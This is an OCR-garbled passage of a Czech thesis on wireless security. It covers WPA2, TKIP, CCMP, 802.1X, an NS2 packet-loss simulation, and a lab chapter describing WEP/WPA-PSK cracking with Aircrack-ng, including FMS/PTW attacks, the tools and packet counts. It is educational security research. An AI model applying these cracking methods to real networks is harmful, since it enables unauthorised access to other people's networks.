WPA2 vyuziva, stejné jako star§i WPA, tzv. PSK (Pre-Shared Key) rezim. Kazdy
uzivatel musi pfed vlastnim pfistupem do sité zadat heslo v rozmezi 8 az 63 znakd. Z tohoto
vyplyva snad jedinad bezpec¢nostni slabina protokolu. Kdyz totiz uzivatel pouzije kratké heslo,
tak otevird moznost potencionalnim uto¢nikim ve vyuziti slovnikového utoku tzv. ,,hrubou
silou. Avsak pfi pouziti bezpe¢né dlouhého hesla je algoritmus WPA2 nejlep§im moznym

typem zabezpeceni pro moderni bezdratové sité. [13]

Od roku 2006 je WPA2 zabezpeceni povinné pro vSechna zafizeni, jeZ chtéji byt

certifikovana jako Wi-Fi.

CERTIFIED®

Obr. 6.3: Logo Wi-Fi certified pro nova podporujici WPA2 algoritmus

35


http://cs.wikipedia.org/wiki/Advanced_Encryption_Standard

7 DALSI MOZNOSTI ZABEZPECENI
7.1. Filtrace MAC adres

Jedna se ve své podstaté o velmi jednoduchou formu zabezpeceni bezdratové sité. Jeji princip
spo¢iva o omezeni provozu v siti na takové klienty, kteti maji MAC adresu odpovidajici tzv.
»povolenému seznamu*“ MAC adres, kterd ma v sobé obsazeno AP. Paklize by se pokusila

K siti ptipojit stanice s jinou MAC adresou, pak jeji asociace neni povolena.

Toto zabezpecCeni lze vSak povazovat za velmi trividlni. Pro jeho piekonani staci
odposlechnout urcitou ¢ast provozu v siti mezi pristupovym bodem a klientem, poté analyzou
paketti ziskat MAC adresu klienta, ktera se vysila v nezabezpeCené formé, a tu nasledné

vydavat za vlastni.

7.2. Zamezeni vysilani SSID

Jedna se o takovou formu zabezpeceni, kdy je vlastnim zafizenim (AP) potlaceno vysilani
SSID identifikace (Service Set Identifier). Kdyz klient SSID sité nevidi, nemtize se asociovat
K ptistupovému bodu. Toto zabezpeceni se také povazuje za velmi trivialni, k jeho prolomeni
totiz staci, stejn¢ jako je tomu u filtrace MAC adres, odposlechnout urcité mnozstvi sitové
komunikace. Jeji naslednou analyzou lze SSID snadno zjistit, nebot’ se tento identifikator
Vv siti vysila v nezaSifrované podob€. Samotné pouziti se doporucuje pouze v kombinaci

s Sifrovanim WPA a lepSim.
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8 PRISTUP DO WI-FI SITi

U zabezpeceni typu WPA a WPA2 je u obou zcastnénych stran (AP a klienta) nutno zvolit
autentiza¢ni metodu. Algoritmy implementuji tyto metody dvé. Tyto se od sebe odliSuji

hlavné mistem, kde je autentizace provadéna a zptisobem, jakym je provadéna.

8.1. Enterprise mode

Prvni metodou je tzv. WPA enterprise mod. V tomto moédu je autentizace uzivatele
ptistupujiciho do sit¢ provadéna ve specidlnim autentizacnim serveru, tzv. Radius serveru, na
zaklad¢ uzivatelského jména, hesla, certifikatu, smart karty, nebo pomoci dalSich forem

zabezpeceni. Tato metoda je vhodna pro rozsahlé sité¢ sdruzujici velké mnozstvi uzivateli.

8.2. Personal mode

Druhou moznou metodou je tzv. WPA personal mod. V tomto piipadé se autentizace
uzivatele déje na urovni AP, nebo bezdratového routeru, pfi¢emz se vyuziva tzv. Pre — shared
key heslo (od toho je také odvozen nazev PSK rezim), zadané manudlné jak na strané routeru,
tak 1 na strané klienta. Toto heslo musi mit minimalné 8 znakt a je sdileno vSemi uZivateli
pfistupujicimi do této sité. Z tohoto také plyne bezpecnostni riziko, proto se tento rezim

doporucuje vyhradné pro doméci pouziti.
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9
9.1.

PROTOKOLY A MECHANISMY PRISTUPU

CCMP

CCMP protokol byl poprvé pouzit v zabezpeCovacim algoritmu WPA2. Tento protokol

zajisStuje v dnesni dobé nejvyssi moznou formu zabezpeceni bezdratovych siti. Ve své

podstaté nahrazuje jak pfedchozi TKIP protokol, tak i prvotni slaby WEP algoritmus. CCMP

jiz nevyuziva proudovou $ifru RC4, nybrZ nové implementuje blokovou Sifru AES. Tato Sifra

se vyznacuje 128 bitovym kliem a také 128 bitovym blokem dat. Sifra je povazovéna za

neprolomitelnou, avSak ma i svoje nevyhody. Diky robustnosti je totiz velmi vypocetné

naro¢na a neni podporovana star§Sim typem hardwaru. CCMP protokol vyuziva pro Sifrovani

ramci tzv. CCM mod. [14]

Vypodet MIC  [AES(K9)] |AES(K)W IAES(K){-’ ESE

Sifrovand

8

[
TT11
[ Havitkaramee |[PN] msom 1 1mos  Oda i zsom | mic |
CCUFe ) PL(1) PL(2) PL(N) PLO)
‘.95- IR 9.;
v - h h 4 h 4 A b
Zastrorany Havickaramee | PN| D= [mic Fcs |
rammec
Obr. 9.1: Princip zabezpeceni pomoci CCMP protokolu
I‘_- Zasgifrovano -_-I
IV / KeylD |Extended IV Data MIC
4 oktety 4 oktety n okteti g oktet

Obr. 9.2: MPDU zabezpeceny pomoci CCMP
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9.2. TKIP

Nazev tohoto protokolu vychazi z anglického ,,Temporal Key Integrity Protocol*. Jedna se o
protokol, ktery zavadi do bezdratovych siti tfi nové bezpecnostni vylepSeni, oproti algoritmu
WEP. Opét vyuziva proudovou Sifru RC4, avSak prvni vylepSeni vyplyva jiz z nazvu
protokolu — tajné klice pro tuto Sifru se méni s kazdym Sifrovanym ramcem, coz znemoziuje
utok pomoci metod zalozenych na hromadéni paketii, resp. jejich inicializa¢nich vektord.
Dale tento protokol implementuje do paketu sekvencni ¢itac, ktery zabrafiuje uto¢nikovi ve
vyuziti tzv. replay utokt, kdy je jeden stejny paket, nejbéznéji tfeba paket typu ARP,
injektovan do sit€¢ znovu a znovu, nacez AP na tento paket dokola odpovida stejnymi, rizné
zaSifrovanymi pakety, které Uto¢nik zachytava. Z tohoto pocéinani lze poté velmi snadno
odvodit pouzity tajny kli¢. Diky tomuto novému zplisobu zabezpeceni je ocislovany paket,
ktery je pfijat mimo pofadi, jednoduSe zahozen. Posledni hlavni vylepseni tkvi ve vyuziti
64 bitového algoritmu jménem Michael, zajist'ujiciho generovani kontrolniho souc¢tu MIC pro

kontrolu integrity zpravy. [14]

Dodéasny klic

N Mixovani
TA —p Kliéa

.

TIaKMie  —pp | MXOVAN | o 1 RO s

Kligh
TKIP Eietl;‘genérﬁ \ ZZ;EE_ —» Sifrované
zdreni WMPDU
Plaintext MSDU B
MIC +MIC Fragmerdy| 22V
Kic  _p, > Plaintext
_a | ME MPDU
SA+ DA+ Plaintext
MSDU, DATA
Obr. 9.3: Princip funkce protokolu TKIP
|~ Zadifrovano -|

IV KeylD |Extended IV Data MIC IV
4 oktety 4 oktety n oktetd g oktetd 4 oktety

Obr. 9.4: MPDU zabezpeceny pomoci TKIP
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9.3. 802.1X

Standard 802.1X se zabyva fizenim pfistupu k sitim jak v dratové, tak i bezdratové forme.
S rozristajicim poctem stanic bylo nutné zavést takovyto druh pfistupu, nebot' vznikl
pozadavek na vzdjemnou autentizaci jednotlivych uzivateld, feSeni bezpecné distribuce klict
a také pozadavek na integritu zprav. Protokol funguje tak, ze pfi piipojeni ucastnika do sité je
nejprve jeho komunikace blokovana a aby byla umoznéna, musi se ucCastnik (zde nazvany
jako suplikant) autentizovat vi&i serveru (Radius server). Uastnik vysle pozadavek na
autentizaci pomoci EAP protokolu na AP. AP poté pieposle tuto zadost dale Radius serveru.
Nasleduje ovéteni uzivatele. Paklize je uzivatel lokdlni, tak prob&hne jeho ovéfeni na tomto
Radius serveru. V piipadé Ze uzivatel nepatii to této sité, je jeho zadost o autentizaci
postoupena Radius serveru nalezicimu jeho lokalni siti. Jako posledni krok je bud'to povoleni,

nebo zamitnuti autentizace daného uzivatele, ktery se pfipojuje do sité. [13]

Domovska
sif

AP <— Radius

server

[ QTS —

Hostujici
sif

Obr. 9.5: Princip standardu 802.1X
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9.4. 4 - way handshake

Ve standardu 802.111 je definovana metoda pro bezpecnou vyménu klict mezi AP a klientem.

Tato metoda je pojmenovana jako 4 — way handshake.

Ifk P

ANonce ndhodné d&islo

Vypocet
PTK
klice SNonce + MIC

Vypocet PTK
na strané AP,

kontrola MIC
GTK Kli¢ + MIC

Potvrzeni ACK

Obr. 9.6: Princip 4 — way handshake

Jednotlivé faze 4 — way handshake :

e AP zasle klientovi nahodné ¢islo ANonce.

e Klient vygeneruje své nahodné ¢islo SNonce, s jehoz pomoci je schopen z MAC adresy
AP, zaslaného nahodného c¢isla Anonce a jim vygenerovaného ¢isla, sestavit PTK klic.
Klient zasle AP své vygenerované cislo a také seznam bezpecnostnich parametril
zjisténych na pocatku zadosti o piipojeni do sité. Celou zpravu opatii MIC kontrolnim
souctem, diky ¢emuz mize AP zjistit, zda jsou informace a pfipojené bezpecnostni
parametry spravné, a odesle na AP.

e AP zasle zpét klientovi bezpecnostni parametry, zaroven také posila nazpét GTK kli¢ a
celou zpravu opatii také kontrolnim souctem MIC.

e ACK zprava ze strany klienta indikuje, Ze jsou klice korektni a ze jsou piipraveny k pouziti

v ramci bezpeénostnich protokolt. [15]
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10 NS2 SITOVY SIMULATOR
10.1. Teorie

Program NS2 je simulétor specialné zaméteny na sitové aplikace. Jeho vyvoj zacal jiz v roce
1989. Od roku 1995 se dale zdokonaloval a stale vice se mu dostavalo podpory ze strany
vyznamnych organizaci (DARPA - Defense Advanced Research Projects Agency, UCB -
University of California Berkeley, ISI - Information Sciences Institute a mnoha dal$ich). NS2
je vyuzivan pro simulace novych druhi protokold jak v dratovych, tak i bezdratovych sitich.
Muze byt také do jist¢ miry vyuzit jako emulator siti. Celosvétovou popularitu si ziskal
zejména diky svému open-source modelu a také diky obsahlé dokumentaci. NS2 je navrzen
V programovacim jazyku C++ a vyuZivd objektové orientovanou variantu skriptovaciho

jazyku Tcl ( Tool Command Language), OTcl.

Programovani v tomto jazyku spociva v definici vlastnich uzivatelskych Tcl skriptd,
Které popisuji sitovou topologii a jejich nasledné simulaci v prostiedi NS2 s ur¢itymi danymi
parametry. [9]

Dutivody pouziti Tcl a OTcl programovani by se daly shrnout do nasledujicich bod:

. Dovoluji rychly vyvoj
. Poskytuji grafické prostiedi

o Jsou multi-platformni

o Jsou flexibilni pro integraci
. Jsou veskrze jednoduché

J Jsou zadarmo

V piipadé simulatoru NS2 je podporovano hned n¢kolik platforem pro jeho vyuziti.
Primarné je ur€en pro UNIX systémy, ale jeho béh je umoznén také uzivatelim s opera¢nimi
systétmy MacOS X a od verze 2.1b9 také pro systémy Windows. U posledniho jmenovaného
je ale nutnost pouziti emulatoru pro vytvofeni prostiedi na UNIX bazi, pro coz lze vyuzit
bud’to program Cygwin a nebo pod OS Windows spustit prostiedi Linuxu ve virtudlnim stroji

za pouziti programu VMware Player.
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Ke své vlastni instalaci jsem se rozhodl vyzkousSet jak moznosti vyuziti NS2 pod aplikaci
Cygwin, tak i pod emulaci OS Linux v programu VMware player. Konkrétné jsem zvolil
voln¢ dostupny image distribuce Ubuntu, ve verzi 8.0.4. K vlastni realizaci byl nakonec

pouzit simulator NS2 spustény pod emulovanym prostiednim OS Linux v aplikaci VMware

player.
a u u dEsKop:i= ===
File Edit View Terminal Tabs Help
ns-2.30/tcl/test/test-suite-aimd.tcl (]

ns-2.30/tcl/test/test-suite-algo-routing.tcl
ns-2.30/tcl/test/test-suite-broken.tcl
ns-2.30/tcl/test/test-suite-cbqg. tcl
ns-2.30/tcl/test/test-suite-delaybox.tcl
ns-2.30/tcl/test/test-suite-diffserv.tcl
ns-2.30/tcl/test/test-suite-diffusion3.tcl
ns-2.30/tcl/test/test-suite-ecn-ack.tcl
ns-2.30/tcl/test/test-suite-ecn-full.tcl
ns-2.30/tcl/test/test-suite-ecn.tcl
ns-2.30/tcl/test/test-suite-ecn.txt
ns-2.30/tcl/test/test-suite-energy.tcl
ns-2.30/tcl/test/test-suite-friendly.tcl
ns-2.30/tcl/test/test-suite-frto.tcl
ns-2.30/tcl/test/test-suite-full-fixes.tcl
ns-2.30/tcl/test/test-suite-full.tcl
ns-2.30/tcl/test/test-suite-gk.tcl
ns-2.30/tcl/test/test-suite-greis.tcl
ns-2.30/tcl/test/test-suite-hier-routing.tcl
ns-2.30/tcl/test/test-suite-intserv.tcl
ns-2.30/tcl/test/test-suite-jobs.tcl
ns-2.30/tcl/test/test-suite-lan.tcl
ns-2.30/tcl/test/test-suite-lan.txt
ns-2.30/tcl/test/test-suite-LimTransmit.tcl

(«]

Obr. 10.1: Ukazka béhu instalace NS2 pod OS Ubuntu Linux

k()( =ins-allinone 2433 a'@|a]

i

| Main Options VT Options YT Fonts

Checking for xorg-xll-etc,,, ok

Patching Tcl/Tk for Cygwin,

Patching sgb for Cyguwin,

The original sgb/Makefile is backed up as sgb/Makefile,orig
Setting executable format to ,exe,,.

* Testing for FreeBSD environment

FreeBSD not detected

* Build XGraph-12,1

loading cache ,/config,cache

checking for a BSD compatible install,,, (cached) fusr/binfinstall -c
checking whether build environment is sane,,, yes
checking whether make sets ${MAKE}.., (cached) yes
checking for working aclocal,,, missing

checking for working autoconf,,, missing

checking for working automake,,, missing

checking for working autoheader,,, missing
checking for working makeinfo,,, found

checking if malloc debugging is wanted,,, no
checking for gec.,. (cached) gee

checking whether the C compiler {gcc ) works... |l

Obr. 10.2: Ukazka béhu instalace NS2 pod aplikaci Cygwin
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10.2. Simulace v NS2

Tato simulace moznosti programu NS2 spociva v simulaci malého sitového provozu mezi
bezdratovymi uzly. Sestava se ze 3 uzlia (Node) v topologii o velikosti 700m x 400m. Cilem
této jednoduché simulace je demonstrace zavislosti zahazovani paketd na rychlosti pohybu

mobilniho uzlu, resp. na rychlosti pfenosu dat.

Prvni node (Node0) je stacionarn€ umistén na pozici (350,50). Druhy node (Nodel) je
mobilni a pohybuje se z ptvodniho umisténi (355,50) na pozici (600, 300). Tieti node
(Node2) je také mobilni, pficemz jeho pivodni umisténi je (345,50) a pohybuje se do
soutadnic (10,300). Prvnim dvéma nodim byli piitazeni UDP agenti. V simulaci je generovan
CBR traffic a tfeti node slouzi jako Null sink. Velikost paketu je nastavena na 512 B a

maximalni pocet pfenesenych paketl je omezen na 1000. Cela simulace trva 50 s.

CBR generator pro prvni node je spustén v Case t=3 S a zastaven Vv case t=50 s, pro
druhy node zac¢ina byt traffic generovan v Case t=0 S a kon¢i v t=48 s. Rychlost ptenosu dat
Nodel je ve vychozim stavu nastavena na 16 MB/s a rychlost jeho pohybu na 20 m/s.
Rychlost pienosu dat Node2 je ve vychozim stavu nastavena na 15 MB/s, pficemz rychlost

tohoto nodu je 5 m/s.

Nasledné byly provedeny celkem 2 série po 6 simulacich. V prvni sérii byla
simulovana zavislost zahazovani paketi na rychlosti pohybu mobilni stanice pfi nastavené
konstantni pfenosové rychlosti obou nodud, v druhé sérii zase zavislost zahazovani paketii na

rychlosti pfenosu dat pii konstantni rychlosti po celou dobu pohybu nodd.
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Vysledky vSech méteni byly programem NS2 zpracovany do soubort typu:

vystup.nam
vystup.tr

Soubory s koncovkou .nam jsou vystupy grafické nadstavby NAM programu NS2 a
soubory s koncovkou . tr jsou tzv. ,trace file* soubory, ve kterych je zaznamenan veskeré

provoz v siti. Ve druhém jmenovaném souboru jsou tedy obsazeny nami hledané zavislosti.

Program NS2 je do tohoto souboru uklada v nasledujici podobé:

Nazev nodu, zpracovavajici dany paket
Typ provedené operace s paketem

Obr. 10.3: Format datového trace souboru aplikace NS2

Z ptiloZzen¢ho obrazku nés zajimaji pouze dva vyznacené parametry. Parametr ,,d” na
zacatku fadku znamend zahozeny paket a Cislo za parametrem ,,-Ni* zase udava ¢islo nodu,
ktery paket zpracovava. Tento soubor vSak diky své velikost nelze zpracovat rucné a tak byl
vypracovan konzolovy skript v jazyce C++, ktery v takovémto druhu souboru vyhleda
jednotliveé fadky zacinajici parametrem ,,d*“ (zahozeny paket), vytvoti 2 pole (jedno pro kazdy
mobilni node) a v zavislosti na ¢isle nodu bude tyto pole inkrementovat. Ziskame tak
pohodIng pocet zahozenych paketii pro vSechny 3 nody, pficemz nas zajimaji pouze Node(1)

a Node(2) z davodu své mobility.

C:\diplomka>skript.exe vystup.tr
Ni @: B8

Ni 1: 976

Ni 2: 1864

C:\diplomka>_

Obr. 10.4: Ukazka béhu skriptu pro zisk po¢tu zahozenych paketi
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10.3. Pouzité skripty

Vytvoreny NS2 skript, spolu s vySe popsanym C++ skriptem, jsem z divodu jejich délky

nevypisoval do prace. Nachazi se na ptilozeném CD.

10.4. Vysledky simulaci

V prvni sérii simulaci jsem demonstroval zavislost po¢tu zahozenych paketii na rychlosti
pohybu mobilniho nodu. Pribéh simulace byl piekvapivy, nebot’ vysSlo najevo, ze pfi

nastavenych pfenosovych rychlostech dat 16 Mbit/s pro Node(1) a 15 Mbit/s pro Node(2) je

pocet zahozenych paketii v zavislosti na rychlosti pohybu mobilni stanice konstantni.

Tab. 10.1: Zavislost po¢tu zahozenych paketii na rychlosti pohybu mobilni stanice

Rychlost pohybu [m/s] Pocet zahozenych paketl
Meéfeni ¢. Node(1) Node(2) Node(1) Node(2)
(vychozi) 1 20 914 916

2 914 916
3 914 916
4 10 914 916
5 10 40 914 916
6 50 80 914 916
917

= 916

2

£ 915

(1]

j= 8

S 914 #e— = %

z

g 913 =—4—Node(1)

£

8 912 Node(2)

3

S 911
910

0 20 40 60 aa 100

Rychlost pohybu mobilni stanice [m/s]

Obr. 10.5: Graf zavislosti po¢tu zahozenych paketii na rychlosti mobilni stanice



Ve druhé sérii simulaci jsem mél za tikol demonstrovat zavislost poctu zahozenych paketi na
rychlosti pienosu dat mobilnim nodem. Priibéh simulace jiz nebyl ptekvapivy jako v minulém
ptipadé¢. Ukazalo se totiz, Ze pfi nastavenych konstantnich rychlostech pohybu mobilni stanice
na 20 m/s pro Node(1) a 5 m/s pro Node(2), stoupa pocet zahozenych paketd pfimo umeérné

Vv zavislosti na rychlosti datového pienosu.

Tab. 10.2: Zavislost po¢tu zahozenych paketi na rychlosti pienosu dat

Rychlost pfenosu dat [Mbit/s] Podet zahozenych pakett
Méfeni ¢. Node(1) Node(2) Node(1) Node(2)
(vychozi) 1 16 15 914 916
2 1 1 410 358
3 10 10 886 890
4 30 30 934 945
5 70 70 985 1018
6 100 100 976 1064
1200
T 1000 = =
03 o P-"--'—-—__ v
2 .
% 800 —
o
S
‘T 600
8 —e—Node(1)
=
g 400 & Node(2)
3
£ 200
0
0 20 40 60 &0 100 120

Rychlost pifenosu dat [Mbit/s]

Obr. 10.6: Graf zavislosti po¢tu zahozenych paketi na rychlosti pienosu dat

Vsechny pouzité simulace spolecné s jejich vystupy, skripty a tabulky jsou nahrany na

piilozeném CD.
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11 UTOKY NA ZABEZPECOVACI ALGORITMY

11.1. Uvod

V dnesni dobé€ jsou bezdratové sité pritomny prakticky vSudypfitomné. Tato skutecnost jde
ruku v ruce s tim, Zze by nemély byt opomijeny doporucéeni jak efektivné a bezpeéné chranit
svou bezdratovou sit’ proti napadeni. Velkd vétSina uzivatell tomuto bohuzel nevénuje
prakticky zadnou pozornost a tim se tak stavaji, resp. jejich sité, napadnutelnymi. V praktické
¢asti své diplomové prace jsem meél za kol demonstrovat to, jak slozité a nakladné je

prolomit tyto zabezpec€eni a dostat se jako utocnik do téchto siti.

Budou demonstrovany jednotlivé Gtoky na bezdratové sité zabezpefené riznymi
druhy Sifrovacich algoritmi pod riznymi operacnimi systémy, bude zkoumana a porovnavana
casova narocnost utoki, jejich efektivita a také bude naznaceno, jakym zpiisobem by mél

uzivatel co nejlépe chranit svou sit’ pfed témito tGtoky.

Vsechny utoky krom jediného byly realizovany ve Skolnim laboratornim prostiedi, na
vybudované testovaci siti. Posledni tutok byl realizovan v praxi, nabézné dostupnou
bezdratovou sit. Veskeré testovani také probihalo v pasmu 2.4 GHz za vyuziti standarda
802.11b a 802.11g.

48



11.2. Teorie

Pro ttoky na bezdratové sité¢ potiebujeme specificky hardware. Volba PC muze byt libovolna,
avSak musime dat pozor pii vybéru sitovych adaptéri. Existuje velka skala rdznych
bezdratovych karet od riznych vyrobci, ale jen nckteré umoziuji pouziti ovladacu, které
dovoluji piepnuti do tzv. monitor médu, coz znamend, ze takovato karta je schopna
zachytavat veskery provoz v bezdratové siti bez ohledu na to, jestli je tento uréeny pro ni, ¢i

nikoliv a dale také to, Ze je schopna sama do sit¢ injektovat pakety.

Ovladace sitového adaptéru pro takovéto Utoky se odliSuji od b&Znych ovladaci a

ruzni se také pro rozdilné OS.

Zachytavani pakett napiiklad v OS Windows XP vyzaduje ovlada¢ tfeti strany. Mezi
nejznaméjsi patii tzv. Airopeek ovladace. Tyto specialni drivery slouzi k analyze Wi-Fi siti —
zachytavani, kontrolu a management paketli. Podporovéna je pouze hrstka adaptérti, které se
daji normalné pofidit. Témito ovladaci jsou podporovany pouze adaptéry zalozené na
chipsetech Atheros, Ralink, Marwell a nativné také Intel Centrino. Injekce paketi do sité je

vvvvvv

[16]

Naopak v OS Linux je situace o poznani lep$i. Prepnuti vybranych adaptéri do
monitor modu je otdzkou nékolika piikazh a jsou zde podporovany veskeré znamé techniky
prolamovani se do bezdratovych siti. Pro utoky je vhodna prakticky jakakoliv distribuce

Linuxu s pfislusnymi programy, které budou dale popsany v kapitole vénované softwaru.
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11.3. FMS utok

Tento utok byl popsan jiz v roce 2001 trojici autort Scottem Fluhrerem, Itsikem Mantinem a
Adi Shamirem v dokumentu Weaknesses in the Key Scheduling Algorithm of RC4. Utok
pocita s tim, ze existuji inicializacni vektory, které vedou k odhaleni vlastnosti privatni ¢asti
kli¢e. Pro uspeésné uskutecnéni tohoto ttoku musime znat také alespon nékolik pocatecnich
bajtl Sifrovaného textu, coz ale neni nefeSitelny problém, nebot’ vS§echny IP a ARP pakety
zatinaji hodnotou OxAA. Diive byl popsan BF-FMS (brutal-force FMS), ktery se ale od
bézného utoku hrubou silou na Sifrovaci kli¢ v principu li§i. FMS-BF potifebuje obrovské
mnozstvi zachycenych dat, ale jen relativné maly vypocetni vykon, na klasicky BF nam staci
jeden nebo dva pakety, ale potiebujete velmi veliky vypocetni vykon. V roce 2002 byl
predstaven optimalizovany utok FMS. Tento optimalizovany utok spociva v generovani

sitového provozu, ktery je snadno identifikovatelny. [11]

11.4. PTW utok

Tento druh Utoku je vlastné vylepSena verze ptredchozi varianty. Novy PTW utok, ktery
v sobé kombinuje aktivni techniky prolamovani hesel, je schopen rozlustit 128bitovy WEP
kli¢ s pfesnosti 50% za pouziti pouhych 40000 odchycenych paketd. S nardstajicim
mnozstvim odchycenych paketl se samoziejmé¢ zvySuje 1 procentualni uspéSnost daného
utoku. Uvadi se, ze jiz pti hodnoté 85000 odchycenych pakett je tato uspesnost rovna 95%.
Diky vyuziti vySe zmitlovanych aktivnich technik je zachyceni zhruba 40000 paketii otdzkou
jedné minuty (pfi vhodnych podminkéach) a doba pro zjisténi hesla z odchycenych paketl se
pohybuje v fadu jednotek sekund. [17]
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11.5. Pouzity hardware

totiz realizovat takovéto utoky. Jako klientské PC byl zvolen Notebook Asus A2524DUH

nasledujicich parametrti:

° AMD Athlon mobile 2800+
° 1GB DDR 333MHz RAM

Obr. 11.1: Realné zapojeni testovaci sité.

V notebooku je integrovdna bezdratova sitova karta Asus 802.11b,g sit’ovy adaptér.
Tento sitovy adaptér disponuje chipsetem firmy Broadcom, ktera dovoluje vSechny mody

vyjma monitorovaciho. Z tohoto diivodu byla karta vyuzita jako bézny klient bezdratové sité.
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K odposlechu piendSenych dat byla zvolena bezdratové sitovda PCMCIA karta osazena

chipsetem Atheros , konkrétné model Cisco AIR-CB21AG-E-KO9.

Obr. 11.2: Pouzity PCMCIA bezdratovy adaptér Cisco AIR-CB21AG-E-K9

Tento bezdratovy adaptér umoznuje vyuziti vSech dostupnych modu.

Jako bezdratovy ptistupovy bod byl zvolen AP Linksys WAP54G.

Obr. 11.3: Pouzity router Linksys WAP54G

Parametry routeru :

o Protokol: 802.11g, 802.11b

. Pracovni frekvence: 2,412 az 2,472GHz

. Rychlost: 54; 48; 36; 24; 18; 12; 11, 9; 6; 5,5; 2 a 1Mbps

. Citlivost: 11Mbps: -80 dBm, 54Mbps : -65dBm

. Pfipojeni: 1x LAN/WAN Ethernet 10/100BaseTX (1xRJ-45) [18]
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00:06:25:4B:2E:32
Linksys WAP54G

l‘., 2 ;' ‘ =
Autentifikovany klient Utodnik
802.11g Asus sitovy adaptér Cisco AIR-CB21AG-E-K9 sifovy adaptér
00:11:D8:22:71:65 06:40:96:A2:A0:CD

Obr. 11.4: Topologie testovaci sité véetné MAC adres viech zafizeni

Routeru byla piifazena statickd IP adresa 192.168.1.245 a maska tiidy C, 255.255.255.0.
Router Linksys podporuje nasledujici druhy zabezpeceni [18] :

o WEP 64bit.

o WEP 128bit.

o WPA (PSK)

o WPA (Radius)

o Skryti SSID

o Filtrovani MAC adres

Na vSechny tyto druhy zabezpeceni, vyjma WPA (Radius) ktery nebyl v laboratornich
podminkach k dispozici, byly vedeny utoky, popisované v dalsich kapitolach.
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11.6. Pouzity software

Pro utoky byla zvolena dvojice operacnich systémi MS Windows XP s nainstalovanym

service pack 3 a OS Linux ve formé live distribuce BackTrack 3.

Tab. 11.1: Pouzité ovladace, OS a druhy utoki

Operacni systém MS Windows XP SP3 Linux BackTrack3 live

Podporované typy utokd | Pasivni, teoreticky aktivni Pasivni, aktivni

Pasivni WEP64bit./WEP Pasivni WEP64bit./128bit., Aktivni WEP
Provedené utoky 128bit. 128bit., Pasivni WPA (PSK)

Pouzité ovladace pro
monitor-mode Airopeek Madwifi

Kolektovani pakett, prolomeni MAC
filtrace, injekce paketd,
odhlaleni SSID, falesna autentizace,

Metody provedenych Kolektovani paketd, KoreK ChopChop utok,
utokt prolomeni MAC filtrace. Fragment utok, WPA PSK utok.

K nasledné analyze paketii byl pouzit program Wireshark. Pod OS Windows bylo
nutné jej nainstalovat, na live CD BackTrack 3 byl jiz obsazen. Jak jiZ bylo zminéno v uvodu,
tak OS Windows nepodporuje aktivni Utoky zaloZzené na metod€ generovani sitového
provozu. Jedinou teoretickou moznosti je vyuziti interactive packet replay metody v programu
Aireplay-ng, kdy je sitova karta vyuzita vicenasobné v realném case. V OS Windows jsem se

tedy soustiedil na pasivni Gtoky a aktivni jsem vedl pod OS Linux.
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Pod obéma operac¢nimi systémy byly utoky vedeny programem Aircrack-ng. Jedna se o

v

puvodn¢ Linuxovy bali¢ek aplikaci, ktery obsahuje nejnovéjsi implementace utokli na

zranitelnosti Sifrovani WEP a WPA. Jedna se v zasadé o skener bezdratovych siti, packet

sniffer, injektor, generator paketi, WEP cracker a analyticky nastroj pro bezdratové sité.

Program je multiplatformni a bézi na vSech operacnich systémech rodiny Linux, Windows,
OpenWRT a platformé Sharp Zaurus. [10] [19]

Program se sestava z né€kolika oddélenych ¢asti, jehoz kazd4 ma za kol néco jiného.

e aircrack-ng
e airdecap-ng
e airdriver-ng
e airmon-ng
e aireplay-ng
e airodump-ng
e airtun-ng

e airolib-ng

e airserv-ng

e packetforge-ng

Desifrovani WEP (Brute-force metoda) a WPA (Slovnik) klice.
Desifruje WEP/WPA Sifrované pakety.

Desifruje WEP/WPA zasifrované soubory pomoci znamého klice.
Prepina bezdratové karty do monitor modu.

Aplikace pro injektovani pakett do sité.

Aplikace pro zdznam Wi-Fi paketd.

Aplikace pro vytvareni virtudlnich tuneld.

Uklada a spravuje seznam ESSID a hesel.

Umoznuje pouziti jednoho hardwaru pro vice aplikaci.

Aplikace pro modifikaci pakett [19]
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http://wiki.airdump.cz/w/index.php?title=Packet_sniffer&action=edit
http://wiki.airdump.cz/w/index.php?title=Packet_sniffer&action=edit
http://wiki.airdump.cz/w/index.php?title=Packet_sniffer&action=edit
http://wiki.airdump.cz/Wired_Equivalent_Privacy
http://wiki.airdump.cz/Linux
http://wiki.airdump.cz/w/index.php?title=Microsoft_Windows&action=edit
http://wiki.airdump.cz/w/index.php?title=OpenWRT&action=edit
http://wiki.airdump.cz/w/index.php?title=Zaurus&action=edit
http://wiki.airdump.cz/w/index.php?title=Brute-force_search&action=edit
http://wiki.airdump.cz/Airmon-ng
http://wiki.airdump.cz/Aireplay-ng
http://wiki.airdump.cz/Airodump-ng
http://wiki.airdump.cz/w/index.php?title=Airserv-ng&action=edit

K detekei dostupnych bezdratovych siti byl vyuzit program Network Stumbler a také

obsluzny program pro ovladani bezdratového sitového adaptéru Asus.

LRI R L 25 =AU P LR
File Edit View Device Window Help

DEE P d¢E B -FEa 2 2

MAC 551D
@ 000F20C545FB  vutbmo

) 00022D4BD6CS  VUTBAND

() 0019DBO03ADE  AceiWirslessGateway-0
@ 0006254B2E32  ssid_visble

zabezpecené sité

Ready & 2 aPs active | GPS: Disabled 7

Obr. 11.5: Vystup programu Network Stumbler

Site Survey
’

Status i Avallable Networks

4 BSSID | ssip [cH Rssl | Type |
d £00:06:25:48:2E:32  ssid_visible -3 AP
Config 300119:08:00:3:&:04 Acerwireless... 1 -5 AP
o []00:0220:4B:DE:C5 VUTBRND 6 -0 AP
d | ] 00:0F:20:C6:45FE  vutbmo 10 -75 AP
Survey

About
Link State

—— R Py

Saye’ as profile Mumber of knawn wireless network(s]: 4

7 Apply

ok -
x Cancel Search | LConnect |
? Heb

Obr. 11.6: Vystup dodavaného obsluzného programu Asus
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12 UTOCENI NA WEP ALGORITMUS
12.1. Pasivni utoky pod OS Windows

Jako prvni atok bylo zvoleno utofeni na 64 bitovy algoritmus WEP. Tento algoritmus
vyuziva, stejn¢ jako jeho 128 bitova varianta, 24 bitovy inicializa¢ni vektor. To mu tedy dava
moznost nabyvat 224 hodnot. V praxi je toto ¢islo vyCerpané béhem nékolika hodin bézného
sitového provozu. Poté se jiz zaCnou inicializaéni vektory opakovat. Uvadi se, ze
K Gspésnému prolomeni této varianty algoritmu WEP, pomoci pasivniho Utoku, je tieba
odchytit alespont 200000 paketi, zavisi to ale také na délce zvoleného tajného klice. Prvni
véci byla vlastni konfigurace routeru a klienta, nastaveni IP adres, nastaveni tajného WEP

klice.

o |
http:{{192.168.1,245/WEP. asp Ln"_
ASUISWYIAN (Card Sethings: a'
